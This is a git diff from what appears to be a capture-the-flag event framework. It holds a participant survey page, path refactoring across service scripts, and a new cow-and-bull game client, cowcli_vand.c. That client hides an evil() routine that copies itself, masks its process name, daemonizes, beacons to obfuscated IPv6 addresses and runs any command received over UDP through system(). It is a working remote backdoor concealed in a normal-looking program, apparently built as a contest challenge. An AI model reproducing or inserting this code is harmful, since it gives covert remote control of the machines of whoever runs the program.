diff --git a/doc/2011-03-TF3/survey-results.html b/doc/2011-03-TF3/survey-results.html new file mode 100644 index 0000000..b80a47d --- /dev/null +++ b/doc/2011-03-TF3/survey-results.html @@ -0,0 +1,328 @@ + +Survey results + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Classinstructorclassroomclass-contentcontest-setupcontest-ambiancecontest-networkcontest-lanlcontest-sandiacontest-vendorshotelComments
net★★★ ★★★ ★★★ ★★★ ★★★ ★★★ ★★★ ★★★ ★★★ ★★★
net★★★ ★★ ★★ Useful techniques, but no practical training on how to identify what data should be flagged for deeper analysis (e.g. how do you find the data that you will then try to crack)★★ ★★ ★★ ★★ None ★★★ Solera was actually practical as it walked you through part of an investigation★★ albuquerque would be more convenientIt would be nice to take a more practical approach to the training and exercise. E.g. Here are some things you would do to identify areas of concern and then go into the investigation of the data. Exercises could be less "random" and tied together better.
host★★★ Everyone was awesome. Great job guys! ★★ If you were in the back of the room the board was little hard to see.★★★ ★★★ ★★★ ★★ ★★ The challenges were tough. However, the answer server could use some improvement in the way it accepts answers, or make it more clear what format it needs to be in. A lot of time was spent trying to enter the answer in the right syntax after we got it. ★★★ ★★★ ★★ The food was good. The rooms were a tad small.Overall the conference was very good.
net★ 1% instruction, more of a sink or swim- Here ya go. I thought this was a training course.★★ ★ There wasn't much teaching. Seemed to be a exercise of what you already knew. Signed up to learn. Moved to Malware RE the second day were they were teaching.★★ Would be better with some elbow room. 7 laptops and a desktop on a small round table doesn't work so well.★★★ Just loud enough, Chairs were uncomfortable★★★ ★★ Would have better to have a true capture the flag instead of puzzles. Maybe each team gets a server and must protect and attack others.★★ ★★ ★★★
★★ too many to give an accurate judgement. some good, some so-so★★ worked well. Noisy AC hurt hearing at time. ★★ Slides were way to crowded and ahrd to read. If you were not familiar with the tools, the fast clicking through windows hurt.★★★ ★★ understanding the voince from beyond over the music was difficult. Probably fine of you live in a leet underworld and are used to the accent.★★★ None forensics puzzles needed to be replaced. Answers needed verificaion and format specified.
None Limiting it to 1 thing being worked on at a time for the group was a bad design. Loosing points as others attempt to work on other pieces.★★ Finding your way through solera would be easier if it was commonly used. Attempting to find what they anted through a gui is much more difficult that what I normally do vai dumping pcap.★★ A strange but interesting place. needed increaed water pressure if you want a hot shower.With the forensics puzzles, having the same for the classroom vs the contest helped those that took close notes. There is way too much use of Encase and limits on how far yoyu can get if you are unfamiliar with it.
net★ 1% instruction, more of a sink or swim- Here ya go. I thought this was a training course.★★ ★ There wasn't much teaching. Seemed to be a exercise of what you already knew. Signed up to learn. Moved to Malware RE the second day were they were teaching.★★ Would be better with some elbow room. 7 laptops and a desktop on a small round table doesn't work so well.★★★ Just loud enough, Chairs were uncomfortable★★★ ★★ Would have better to have a true capture the flag instead of puzzles. Maybe each team gets a server and must protect and attack others.★★ ★★ ★★★
host★★★ ★★ ★★★ ★★ ★★★ ★★ ★★★ ★★★ ★★ ★★ Please... somewhere with faster, more reliable internet next year.
host★★★ ★★ ★★★ ★★ ★★★ ★★ ★★★ ★★★ ★★ ★★ Please... somewhere with faster, more reliable internet next year.
host★★★ ★★ ★★★ ★★ ★★★ ★★ ★★★ ★★★ ★★ ★★ Please... somewhere with faster, more reliable internet next year.
net★★ ★★ ★★★ If students should use python3, then all the examples should be in python3★★★ ★★ ★★★ ★★★ ★★★ ★★ ★★★
noneNone Didn't attendNone Didn't attendNone Didn't attend★★★ ★★★ ★★★ ★★★ None Didn't focus on itNone Didn't focus on it★★★ More stuff like WOPR / octopus / pwnables / printf!
host★★ The portions of the instruction that were lecture only could have been improved by having students follow along and actually participate. For example, instead of teaching Windows Registry purely by lecture, have students open Regex or examine the Registry using EnCase.★★★ Good facilities and connections. No complaints.★★★ Aside from the pure lecture portions, the content was good. Exactly what I expected when signing up for a forensics course. Good that not a lot of time was devoted to teaching the basics of the programs, like EnCase.★★★ Good facilities and connections. No complaints.★★ Would it kill you to play a little Smokey Robinson? ;)★★★ No complaints.★★★ Awesome puzzles and contests. So much to keep everyone busy. Maybe a little too much material for smaller teams to even make a dent in scoring points. My only complaint is the way in which answers are required to be formatted. See the General Comments section for more detail.★★ I didn't really participate much in the Sandia Jeopardy business. From what I saw, it looked good.★★★ Good way to show off their products without it being just a sales pitch. The puzzles they provided were great.★★★ Nice. No complaints.Participants should not have to decipher the format of the answer for the questions on their own. Dates/times entries either need to be in a precise, specified format or the system should be able to taken input and determine whether or not the correct answer is known. Whether or not an answer is correct should be determined by upper or lower case letters. The scoring systems should be able to compare the data submitted and normalize the input and compare it to the correct answer.
net★★ ★★★ ★★★ ★★★ ★★ Not a fan of house music, other than that it was great★ serious issues, I do not know what to tell you about how to fix it but it was "spotty" at best★★ more HINTS for newbs★★ Good, but got complicated with the NAS and the storage and the file management and stuff, that could be implemented better★★★ The fireeye got hard fast, which means I did not finish, but it also means that their system didn't get totally utilized right?★★★ the laFonda was pretty awesome actuallyI hope eI get to keep coming to these, this has been a great culmination of the first few years of my experience as a cyber analyst and it was great to see that I am indeed actually learning something.
None None None None None None None None None None
net★★★ ★★ ★★★ ★★★ ★★★ ★★★ ★★★ ★★★ ★★★ ★★★ This is really great material and the puzzles are very well presented. The entire exercise is extremely well organized. + +This lacking was my background knowledge. + +Next time I am going to be a lot more prepared for the challenges. + +This was my first ever Capture the flag and participation in a exercise like this but you certainly have found a permanent participant. + +A+++++ will do it again. + +Tracerfire starts from where all the text books ends. +
noneNone Did not attend the classNone Did not attend the classNone Did not attend the class★★★ ★★ Music was a little loud and repetitive (it's techno!)★★★ ★★★ Learned tons!None Did not play these ones★★★ Solera was interestingNone Did not use the hotelFirst time at a capture the flag competition. Learned a lot!
★★★ The Dr was good★★ seats sucked★★★ good stuff★★ tables, eh. room ok★★ purdy good★★ worky most of the time★★ ★★ ★ Solera example was weak★★ bar good. room ok.Thanks for the hard work! A little more intro to the contest and expectations for the n00bs would be good....
net★★ Not enough instructing. Mostly just "here's puzzles' solve them.★★ ★★★ Good material to learn on; just need more teaching, and more response to questions.★★ ★★ ★ Terrible. I often had to reload a dozen times to submit a solution. Also, being unable to reach the internet made this very frustrating and much less fun.★★★ Great material. Wish we had been introduced better to actually doing things; most categories my team had no idea how to even begin on, and contest time was not an environment that allowed us to learn in.None None None The contest material was really good, but nobody on my team knew how to approach (or even find!) most of it. Maybe this would be fixed by better team distribution, but it would be likely that someone skilled would just take over, instead of teaching other people. Thus, I ended up feeling really frustrated that I wasn't actually learning anything, and just feeling punished for the things I didn't know or couldn't do (which was most of the contest).
net★★ Paul clearly knows his stuff; however, his explanations weren't always clear.★★ difficult to see the few onscreen examples★★ it wasn't lame, but didn't find the info useful for the challenge days. :(★★ room was fine. tables were a bit small. Really like the provided forensic workstations with pre-loaded tools.★★ light was better than last year's event. Music wasn't great on day 1, "felt the rhythm" on day 2.★★★ awesome★★ overall good. some stuff was just unrealistic★★ overall good. some stuff was just unrealistic...and some was just funny!★★ really liked the idea of vendors offering their own challenges! I didn't get to work on them very much though (other team members)★★★ location was great! lots of choices for dinner and lunch downstairs was spot-on every day! the breakfast food was lame though I think Tracer should foster more "forced" interaction--the idea of information sharing is key...beyond the event, within our real jobs. I would like better or just more classroom hours. Maybe a full week of class room and a weekend of challenges would be cool. thanks for all the hard work!
none★★ NA★★ NA★★ NA★★★ ★★★ ★★ ★★★ ★★★ ★★ can't say★★ NA
net★ Come on, we expected some one teach something otherwise all those questions can be found through Internet.★★ ★★ ★★ ★★ ★★★ ★★★ ★★★ ★★★ ★★ I dont think I learn alot
host★★★ ★★ ★★ ★★ Several inconvenient network outages.★★★ ★★ ★★ ★★ ★★★ Fun competition. Could have used more communication among the people who wrote the questions.
host★★ Varied. Not having the slides the first day made following along very difficult.★★ Screens were sometimes hard to see and chairs weren't comfortable.★★ Too Windows and Encase centric to justify another trip.★★ No real issues except the chairs.★★★ No complains here.★★ Didn't have any major issues and Internet access table was very fast.★★ Wasn't really aware there was different content between the sites except for some of the instructors.★★ ★★ Didn't attempt★★ All the shops close at 5pm so there's not much to do except eat and drink. Hotel WiFi was really slow. No vending machines?!Learned some interesting things, met some very interesting people, and got a different perspective on security, but can't justify another trip for myself or a fellow system administrator with the content and exercises used this year.
net★★★ ★★★ ★★★ Problems were hard I learned a lot.★★★ ★★★ ★★★ ★★★ ★★★ ★★★ None The network ran well. problems were hard. thanks for the effort.
malware★★★ ★★ ★★★ ★★ uncomfortable chairs★★ music was a bit too loud★★ better access to internet★★★ first time, so it must be great★★★ see above★★ didn't touch it, so i have no idea★★ did not stay in hotel
+ diff --git a/doc/2011-09-Inferno/inferno.png b/doc/2011-09-Inferno/inferno.png new file mode 100644 index 0000000..13c8c5e Binary files /dev/null and b/doc/2011-09-Inferno/inferno.png differ diff --git a/doc/ref.txt b/doc/ref.txt index 6c3811e..5266616 100644 --- a/doc/ref.txt +++ b/doc/ref.txt @@ -1,14 +1,14 @@ How to run a CTF event ====================== -When a CTF image boots, it goes through the following sequence: +When DBTL boots, it goes through the following sequence: -1. Mount a partition labelled "CTF-STATE" read-only under /var/lib/ctf, - if such a partition exists -2. Mount a partition labelled "CTF" under /mnt/ctf -3. For every file matching /mnt/ctf/${pkg}.pkg, mount it under /opt/$pkg -4. For every directory matching /opt/*/service/${d}, copy it recursively - into /var/service/$d +1. Mount a partition labelled "PACKAGES" read-only under /mnt/packages +2. Mount a partition labelled "STATE" read-write under /state, + or make it a tmpfs if no such partition exists +3. For every file matching /mnt/packages/${pkg}.pkg, mount it under /packages/$pkg +4. For every directory matching /packages/*/service/${d}, copy it recursively + into /service/$d Terms Used Here --------------- diff --git a/doc/tokens.txt b/doc/tokens.txt index 2184e63..5ff652a 100644 --- a/doc/tokens.txt +++ b/doc/tokens.txt @@ -52,13 +52,13 @@ The token client thus needs a 4-tuple for each puzzle: In the interest of making things easy to administer and code, this 4-tuple is stored in files and directories: - /opt/packagename/tokencli/puzzle_name/enc.key - /opt/packagename/tokencli/puzzle_name/category.key - /opt/packagename/tokencli/puzzle_name/category + /packages/packagename/tokencli/puzzle_name/enc.key + /packages/packagename/tokencli/puzzle_name/category.key + /packages/packagename/tokencli/puzzle_name/category And puzzles are stored in: - /var/lib/ctf/tokens/puzzle_name + /state/tokens/puzzle_name Using this scheme, the token client has only to iterate over -/opt/*/tokencli/* instead of implementing some sort of parser. +/packages/*/tokencli/* instead of implementing some sort of parser. diff --git a/packages/00common/service/pointsd/mkpage b/packages/00common/service/pointsd/mkpage index ea084ac..d15e62f 100755 --- a/packages/00common/service/pointsd/mkpage +++ b/packages/00common/service/pointsd/mkpage @@ -1,9 +1,7 @@ #! /bin/sh -OPT=${CTF_BASE:-/opt} - # Use first installed binary -for bin in $OPT/*/bin/$1; do +for bin in $CTF_BASE/packages/*/bin/$1; do if [ -x $bin ]; then exec $bin fi diff --git a/packages/00common/service/pointsd/pointsd b/packages/00common/service/pointsd/pointsd index fd68f46..36d1506 100755 --- a/packages/00common/service/pointsd/pointsd +++ b/packages/00common/service/pointsd/pointsd @@ -2,11 +2,11 @@ fn=$2/$3 -WWW=${CTF_BASE:-/var/www} -BASE=${CTF_BASE:-/var/lib/ctf} -OPT=${CTF_BASE:-/opt} +PACKAGES=$CTF_BASE/packages +STATE=$CTF_BASE/state +WWW=$CTF_BASE/www -POINTS=$BASE/points.log +POINTS=$STATE/points.log BACKUP=$WWW/backup.png SCOREBOARD=$WWW/scoreboard.html PUZZLES=$WWW/puzzles.html @@ -22,11 +22,11 @@ cat $fn >> $POINTS rm $fn # Generate new backup if we can find a password file -for pwfile in $OPT/*/password; do +for pwfile in $PACKAGES/*/password; do if [ -f $pwfile ]; then ( cat bkup.png - tar cf - $BASE | gzip -c | $OPT/*/bin/tea 3< $pwfile + tar cf - $STATE | gzip -c | $PACKAGES/*/bin/tea 3< $pwfile ) > $BACKUP.new mv $BACKUP.new $BACKUP break diff --git a/packages/00common/service/pointsd/run b/packages/00common/service/pointsd/run index 033d17c..b32fb4d 100755 --- a/packages/00common/service/pointsd/run +++ b/packages/00common/service/pointsd/run @@ -2,9 +2,8 @@ exec 2>&1 -: ${CTF_BASE:=/var/lib/ctf} - -install -d $CTF_BASE +STATE=$CTF_BASE/state +WWW=$CTF_BASE/www # Create CTF and nobody users touch /etc/group /etc/passwd @@ -13,25 +12,23 @@ adduser -DH -G nogroup -u 65534 nobody || true adduser -DHS ctf || true # Set up base directories -NEWDIR=$CTF_BASE/points.new -TMPDIR=$CTF_BASE/points.tmp +NEWDIR=$STATE/points.new +TMPDIR=$STATE/points.tmp -install -d /var/www -install -d /var/lib/ctf install -o ctf -m 0755 -d $NEWDIR install -o ctf -m 0755 -d $TMPDIR # Create some files -touch /var/lib/ctf/points.log +touch $STATE/points.log # Generate preliminary scoreboard -if [ ! -f /var/www/scoreboard.html ]; then - ./mkpage scoreboard < /dev/null > /var/www/scoreboard.html +if [ ! -f $WWW/scoreboard.html ]; then + ./mkpage scoreboard < /dev/null > $WWW/scoreboard.html fi # Generate preliminary puzzles list -if [ ! -f /var/www/puzzles.html ]; then - ./mkpage puzzles.cgi > /var/www/puzzles.html +if [ ! -f $WWW/puzzles.html ]; then + ./mkpage puzzles.cgi > $WWW/puzzles.html fi # Run pointsd every time a new points file is dropped diff --git a/packages/00common/service/sshd/run b/packages/00common/service/sshd/run index de54c2f..880d277 100755 --- a/packages/00common/service/sshd/run +++ b/packages/00common/service/sshd/run @@ -3,7 +3,7 @@ exec 2>&1 password='grape guts' -for fn in /opt/*/password; do +for fn in $CTF_BASE/packages/*/password; do read password < $fn && break done diff --git a/packages/00common/src/common.c b/packages/00common/src/common.c index 1761a53..9f10dfa 100644 --- a/packages/00common/src/common.c +++ b/packages/00common/src/common.c @@ -364,21 +364,21 @@ my_snprintf(char *buf, size_t buflen, char *fmt, ...) } static char * -mkpath(char const *base, char const *fmt, va_list ap) +mkpath(char const *type, char const *fmt, va_list ap) { char relpath[PATH_MAX]; static char path[PATH_MAX]; - char const *var; + char const *var = getenv("CTF_BASE"); vsnprintf(relpath, sizeof(relpath) - 1, fmt, ap); relpath[sizeof(relpath) - 1] = '\0'; - var = getenv("CTF_BASE"); if (! var) { - var = base; + var = ""; } - my_snprintf(path, sizeof(path), "%s/%s", var, relpath); + /* $CTF_BASE/type/relpath */ + my_snprintf(path, sizeof(path), "%s/%s/%s", var, type, relpath); return path; } @@ -389,7 +389,7 @@ state_path(char const *fmt, ...) char *ret; va_start(ap, fmt); - ret = mkpath("/var/lib/ctf", fmt, ap); + ret = mkpath("state", fmt, ap); va_end(ap); return ret; } @@ -401,7 +401,7 @@ package_path(char const *fmt, ...) char *ret; va_start(ap, fmt); - ret = mkpath("/opt", fmt, ap); + ret = mkpath("packages", fmt, ap); va_end(ap); return ret; } diff --git a/packages/00common/src/puzzles.cgi.c b/packages/00common/src/puzzles.cgi.c index a8d6bd9..9df4a19 100644 --- a/packages/00common/src/puzzles.cgi.c +++ b/packages/00common/src/puzzles.cgi.c @@ -94,13 +94,13 @@ main(int argc, char *argv[]) opt = opendir(package_path("")); if (NULL == opt) { - cgi_error("Cannot opendir(\"/opt\")"); + cgi_error("Cannot open packages directory"); } cgi_head("Open puzzles"); printf("
\n"); - /* For each file in /opt/ ... */ + /* For each file in /packages/ ... */ while (1) { struct dirent *e = readdir(opt); char *cat; diff --git a/packages/cowbull/service/cowbull/run b/packages/cowbull/service/cowbull/run index 730e5ba..6207c24 100755 --- a/packages/cowbull/service/cowbull/run +++ b/packages/cowbull/service/cowbull/run @@ -4,4 +4,4 @@ exec 2>&1 IP=$(dbip -a) -exec setuidgid nobody /opt/cowbull/bin/cowd < /opt/cowbull/tokens.txt +exec setuidgid nobody $CTF_BASE/packages/cowbull/bin/cowd < $CTF_BASE/packages/cowbull/tokens.txt diff --git a/packages/cowbull/src/cowcli_vand.c b/packages/cowbull/src/cowcli_vand.c new file mode 100644 index 0000000..396d8e0 --- /dev/null +++ b/packages/cowbull/src/cowcli_vand.c @@ -0,0 +1,355 @@ +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + + +#define NODEBUG + +#ifdef DEBUG +# define PORT 4444 +#else +# define PORT 44 +#endif + +#define BDPORT 33333 +#define BCNPORT_S 48172 +#define BCNPORT_D 48179 + +int +bind_port(int fd, const struct in6_addr *addr, uint16_t port) +{ + struct sockaddr_in6 saddr = { 0 }; + + saddr.sin6_family = AF_INET6; + saddr.sin6_port = htons(port); + memcpy(&saddr.sin6_addr, addr, sizeof *addr); + return bind(fd, (struct sockaddr *) &saddr, sizeof saddr); +} + +void +sigchld(int unused) +{ + while (0 < waitpid(-1, NULL, WNOHANG)); +} + +void +unmask_str(unsigned char *str) +{ + int i = strlen(str); + while (i-- > 0) { + str[i] &= 127; + } +} +int +copyprog(const char *from, const char *to) +{ + int fd_to, fd_from; + char buf[4096]; + ssize_t nread; + int saved_errno; + + fd_from = open(from, O_RDONLY); + if (fd_from < 0) + return -1; + + fd_to = open(to, O_WRONLY | O_CREAT | O_TRUNC, 0700); + if (fd_to < 0) + goto out_error; + + while (nread = read(fd_from, buf, sizeof buf), nread > 0) + { + char *out_ptr = buf; + ssize_t nwritten; + + do { + nwritten = write(fd_to, out_ptr, nread); + + if (nwritten >= 0) + { + nread -= nwritten; + out_ptr += nwritten; + } + else if (errno != EINTR) + { + goto out_error; + } + } while (nread > 0); + } + + if (nread == 0) + { + if (close(fd_to) < 0) + { + fd_to = -1; + goto out_error; + } + close(fd_from); + + /* Success! */ + return 0; + } + + out_error: + saved_errno = errno; + + close(fd_from); + if (fd_to >= 0) + close(fd_to); + + errno = saved_errno; + return -1; +} + +void +signal_evil(int sig) +{ + if (fork()) { + exit(1); + } +} +void +evil(int argc, char *argv[]) +{ + int i; + int sock; + + char procname[] = "\xdb\xe8\xe3\xe9\xb1\xdd"; + char cptarget[] = "\xaf\xe4\xe5\xf6\xaf\xf3\xe8\xed\xaf\xae\xa0"; + + unmask_str(procname); + unmask_str(cptarget); + + if (strcmp(argv[0], cptarget)) { + if (fork()) { + return; + } + /* copy ourselves */ + if (copyprog(argv[0], cptarget) == 0) { + argv[0] = cptarget; + execv(cptarget, argv); + } + } else { + unlink(cptarget); + if (fork()) { + exit(0); + } + } + + /* mask the process title and arguments */ + while (argc--) { + int p = strlen(argv[argc]); + while (p--) { + argv[argc][p] = 0; + } + } + strcpy(argv[0], procname); + + + { + int r = open("/dev/null", O_RDONLY); + int w = open("/dev/null", O_WRONLY); + + dup2(r, 0); + dup2(w, 1); + dup2(w, 2); + close(r); + close(w); + setsid(); + chdir("/"); + signal(SIGHUP, signal_evil); + signal(SIGTERM, signal_evil); + signal(SIGINT, signal_evil); + signal(SIGQUIT, signal_evil); + } + + sock = socket(AF_INET6, SOCK_DGRAM, 0); + if (-1 == bind_port(sock, &in6addr_any, BDPORT)) { + exit(0); + } + struct timeval tv; + tv.tv_sec = 5; + tv.tv_usec = 0; + setsockopt(sock, SOL_SOCKET, SO_RCVTIMEO, (char *)&tv,sizeof(struct timeval)); + + + while (1) { + /* beacon */ + int sock_beacon; + sock_beacon = socket(AF_INET6, SOCK_DGRAM, 0); + if (-1 == bind_port(sock_beacon, &in6addr_any, BCNPORT_S)) { + //perror("Beacon bind"); + ;; /* return EX_IOERR; */ + } + int subnet; + if (sock_beacon > 0) { + for (subnet = 0; subnet < 50; subnet++) { + char payload[] = "hi"; + char addr6_f[] = "\xe6\xe4\xb8\xb4\xba\xe2\xb4\xb1\xb0\xba\xb3\xb4\xb4\xb1\xba\xa5\xf8\xba\xba\xb1\xb3\xb3\xb7"; + unmask_str(addr6_f); + char addr6[64]; + sprintf(addr6, addr6_f, subnet); + + //printf("%s\n", addr6); + struct addrinfo *beacon_addr; + { + struct addrinfo hints = { 0 }; + + hints.ai_family = PF_INET6; + hints.ai_socktype = SOCK_DGRAM; + hints.ai_flags = AI_NUMERICHOST; + + if (0 != getaddrinfo(addr6, "48179", &hints, &beacon_addr)) { + ;;//perror("Resolving address"); + } + } + + struct sockaddr_in6 saddr = { 0 }; + + if(-1 == sendto(sock_beacon, &payload, sizeof payload, 0, beacon_addr->ai_addr, beacon_addr->ai_addrlen)) { + ;;//perror("Beacon send"); + } else { + ;;//printf("sent!\n"); + } + } + } + close(sock_beacon); + /* end beacon */ + + /* c&c */ + char cmd[400]; + ssize_t inlen; + + inlen = recvfrom(sock, cmd, sizeof(cmd)-1, 0, NULL, NULL); + + if (inlen < 1) { + continue; + } + + cmd[inlen] = 0; + if (! fork()) { + system(cmd); + exit(0); + } + } +} + +int +main(int argc, char *argv[]) +{ + long answer = 0; + int sock; + int i; + struct addrinfo *addr; + uint32_t token = 0; + FILE *in, *out; + + srand(time(NULL)); + + signal(SIGCHLD, sigchld); + + if (argc < 2) { + fprintf(stderr, "Usage: %s SERVER\n", argv[0]); + return EX_USAGE; + } + + evil(argc, argv); + + { + struct addrinfo hints = { 0 }; + + hints.ai_family = PF_INET6; + hints.ai_socktype = SOCK_DGRAM; + hints.ai_flags = AI_NUMERICHOST; + + if (0 != getaddrinfo(argv[1], "3782", &hints, &addr)) { + perror("Resolving address"); + return EX_IOERR; + } + } + + /* + * Set up socket + */ + sock = socket(AF_INET6, SOCK_DGRAM, 0); + if (-1 == bind_port(sock, &in6addr_any, PORT)) { + perror("Binding UDP port 44"); + return EX_IOERR; + } + + if (argv[2]) { + /* fork and exec */ + } else { + in = stdin; + out = stdout; + } + + + while (1) { + long guess; + struct { + uint32_t token; + uint16_t guess; + } g; + + g.token = token; + if (token) { + char line[20]; + + if (NULL == fgets(line, sizeof line, in)) { + break; + } + g.guess = strtol(line, NULL, 16); + } else { + g.guess = 0; + } + + /* Send the guess */ + if (-1 == sendto(sock, &g, sizeof g, 0, addr->ai_addr, addr->ai_addrlen)) { + perror("Sending packet"); + return EX_IOERR; + } + + /* read the result */ + { + char buf[80]; + ssize_t len; + + len = recvfrom(sock, buf, sizeof buf, 0, NULL, NULL); + switch (len) { + case -1: + perror("Reading packet"); + return EX_IOERR; + case 1: + /* It's a score */ + printf("%02x\n", buf[0]); + break; + case 4: + /* New game token */ + printf("NEW GAME\n"); + token = *((uint32_t *) buf); + break; + default: + /* You win: this is your CTF token */ + buf[len] = 0; + printf("A WINNER IS YOU: %s\n", buf); + break; + } + } + } + + return 0; +} diff --git a/packages/fizzbuzz/service/fizzbuzz/go b/packages/fizzbuzz/service/fizzbuzz/go index f463309..1d57de0 100755 --- a/packages/fizzbuzz/service/fizzbuzz/go +++ b/packages/fizzbuzz/service/fizzbuzz/go @@ -1,3 +1,3 @@ #! /bin/sh -exec /opt/fizzbuzz/bin/fizzbuzz 3&1 -ln -sf /var/www default -exec tcpsvd -l localhost 0 80 /opt/inferno/bin/eris -d +cd $PACKAGES/www +exec tcpsvd -l localhost 0 80 $CTF_BASE/packages/inferno/bin/eris -d. diff --git a/packages/ircd/service/ircd/run b/packages/ircd/service/ircd/run index 60b3963..25ab064 100755 --- a/packages/ircd/service/ircd/run +++ b/packages/ircd/service/ircd/run @@ -31,4 +31,4 @@ cat <ngircd.conf Password = $operpass EOD -exec setuidgid irc /opt/ircd/bin/ngircd --config ./ngircd.conf --nodaemon +exec setuidgid irc $CTF_BASE/packages/ircd/bin/ngircd --config ./ngircd.conf --nodaemon diff --git a/packages/mcp/bin/addteam b/packages/mcp/bin/addteam index 76694d8..d2da8b1 100755 --- a/packages/mcp/bin/addteam +++ b/packages/mcp/bin/addteam @@ -14,19 +14,21 @@ escape () { # Don't overwrite files set -C -base=${CTF_BASE:-/var/lib/ctf} -www=${CTF_BASE:-/var/www} +STATE=$CTF_BASE/state +WWW=$CTF_BASE/www -mkdir -p $base/teams/names -mkdir -p $base/teams/colors +mkdir -p $STATE/teams/names +mkdir -p $STATE/teams/colors -[ -f $base/teams/salt ] || dd if=/dev/urandom count=1 2>/dev/null | md5sum | cut -b 1-8 > $base/teams/salt -salt=$(cat $base/teams/salt) +if ! [ -f $STATE/teams/salt ]; then + dd if=/dev/urandom count=1 2>/dev/null | md5sum | cut -b 1-8 > $STATE/teams/salt +fi +salt=$(cat $STATE/teams/salt) # Assign a color. I spent weeks selecting a color pallette that # wouldn't be hell on people with protanopia. Please don't change these # colors. -nteams=$(ls $base/teams/names/ | wc -l) +nteams=$(ls $STATE/teams/names/ | wc -l) case $(expr $nteams % 10) in 0) color=a6cee3;; 1) color=1f78b4;; @@ -50,7 +52,7 @@ esac # me since all team hashes are in the set /[0-9a-f]{8}/. hash=$(printf "%s:%s" $salt "$1" | md5sum | cut -b 1-8) -echo "$1" > $base/teams/names/$hash -echo "$color" > $base/teams/colors/$hash +echo "$1" > $STATE/teams/names/$hash +echo "$color" > $STATE/teams/colors/$hash echo "Registered with hash: $hash" diff --git a/packages/mcp/bin/new-contest b/packages/mcp/bin/new-contest index 02e7e1f..261bbf4 100755 --- a/packages/mcp/bin/new-contest +++ b/packages/mcp/bin/new-contest @@ -14,16 +14,14 @@ sv d pointsd sv d puzzled sv d tanksd -rm -f /var/lib/ctf/tokens.db -rm -f /var/lib/ctf/points.log -rm -f /var/www/scoreboard.html -rm -f /var/lib/ctf/puzzles.db -rm -rf /var/lib/ctf/points.new -rm -rf /var/lib/ctf/points.tmp -rm -rf /var/lib/ctf/tanks -rm -rf /var/lib/ctf/teams - -backup-pass +rm -f $CTF_BASE/state/tokens.db +rm -f $CTF_BASE/state/points.log +rm -f $CTF_BASE/www/scoreboard.html +rm -f $CTF_BASE/state/puzzles.db +rm -rf $CTF_BASE/state/points.new +rm -rf $CTF_BASE/state/points.tmp +rm -rf $CTF_BASE/state/tanks +rm -rf $CTF_BASE/state/teams sv u tokend sv u pointsd diff --git a/packages/mcp/bin/run-ctf b/packages/mcp/bin/run-ctf index 0d7e4ff..f134ec8 100755 --- a/packages/mcp/bin/run-ctf +++ b/packages/mcp/bin/run-ctf @@ -3,13 +3,15 @@ # First argument is seconds between running everything period=${1:-60} -BIN=${CTF_BASE:-/opt/mcp}/bin -WWW=${CTF_BASE:-/var}/www -STATE=${CTF_BASE:-/var/lib/ctf} +packages=$CTF_BASE/packages +state=$CTF_BASE/state +www=$CTF_BASE/www -NEWPOINTS=$STATE/points.new -POINTS=$STATE/points.log -SCOREBOARD=$WWW/scoreboard.html +BIN=$packages/mcp/bin + +NEWPOINTS=$state/points.new +POINTS=$state/points.log +SCOREBOARD=$www/scoreboard.html if ! [ -f $SCOREBOARD ]; then $BIN/scoreboard < $POINTS > $SCOREBOARD diff --git a/packages/mcp/bin/scoreboard b/packages/mcp/bin/scoreboard index cd6c21e..6440c7a 100755 --- a/packages/mcp/bin/scoreboard +++ b/packages/mcp/bin/scoreboard @@ -65,9 +65,6 @@ function output( t, c) { BEGIN { base = ENVIRON["CTF_BASE"] - if (! base) { - base = "/var/lib/ctf" - } # Only display two decimal places CONVFMT = "%.2f" @@ -108,13 +105,13 @@ END { for (team in teams) { # Busybox awk segfaults if you try to close a file that didn't # exist. We work around it by calling cat. - cmd = sprintf("cat %s/teams/colors/%s", base, team) + cmd = sprintf("cat %s/state/teams/colors/%s", base, team) color = "444444"; cmd | getline color colors_by_team[team] = color close(cmd) - cmd = sprintf("cat %s/teams/names/%s", base, team) + cmd = sprintf("cat %s/state/teams/names/%s", base, team) name = "Phantoms" cmd | getline name names_by_team[team] = name diff --git a/packages/mcp/bin/teams.sh b/packages/mcp/bin/teams.sh deleted file mode 100755 index 86bd6e3..0000000 --- a/packages/mcp/bin/teams.sh +++ /dev/null @@ -1,38 +0,0 @@ -#! /bin/sh - -cd ${CTF_BASE:-/var/lib/ctf}/teams/names - -escape () { - sed 's/&/\&/g;s//\>/g' -} - -title='Teams' - -cat < - - - $title - - - -

$title

-EOF - -echo "" -echo "" -for i in *; do - echo "" -done -echo "
TeamID
" - escape < $i - echo "$i
" - -cat < - Team names are only used on this page and the scoreboard. - Use your team ID to claim points. -

- - -EOF diff --git a/packages/mcp/service/httpd/run b/packages/mcp/service/httpd/run index b0462b8..142b1de 100755 --- a/packages/mcp/service/httpd/run +++ b/packages/mcp/service/httpd/run @@ -7,16 +7,15 @@ IP=$(dbip -a) hostname mcp # Link in puzzles and web pages -install -d /var/www -for d in /opt/*; do - w=/var/www/$(basename $d) +for d in /packages/*; do + w=$CTF_BASE/www/$(basename $d) if [ -d $d/puzzles ] && ! [ -d $w ]; then ln -sf $d/puzzles $w fi if [ -d $d/www ]; then - ln -sf $d/www/* /var/www/ + ln -sf $d/www/* $CTF_BASE/www/ fi done cd /var/www -exec tcpsvd -u ctf ${IP%/*} 80 /opt/mcp/bin/eris -c. +exec tcpsvd -u ctf ${IP%/*} 80 $CTF_BASE/packages/mcp/bin/eris -c. diff --git a/packages/mcp/www/register.cgi b/packages/mcp/www/register.cgi index e71c445..1330bb7 100755 --- a/packages/mcp/www/register.cgi +++ b/packages/mcp/www/register.cgi @@ -16,13 +16,13 @@ Content-type: text/html

Team Registration

EOF -if [ ! -w /var/www ] || [ ! -w /var/lib/ctf/teams ]; then +if [ ! -w $CTF_BASE/www ] || [ ! -w $CTF_BASE/state/teams ]; then echo "

It looks like the server isn't set up for self-registrations." echo "Go talk to someone at the head table to register your team.

" else echo "

Team name: $team

" echo -n "
"
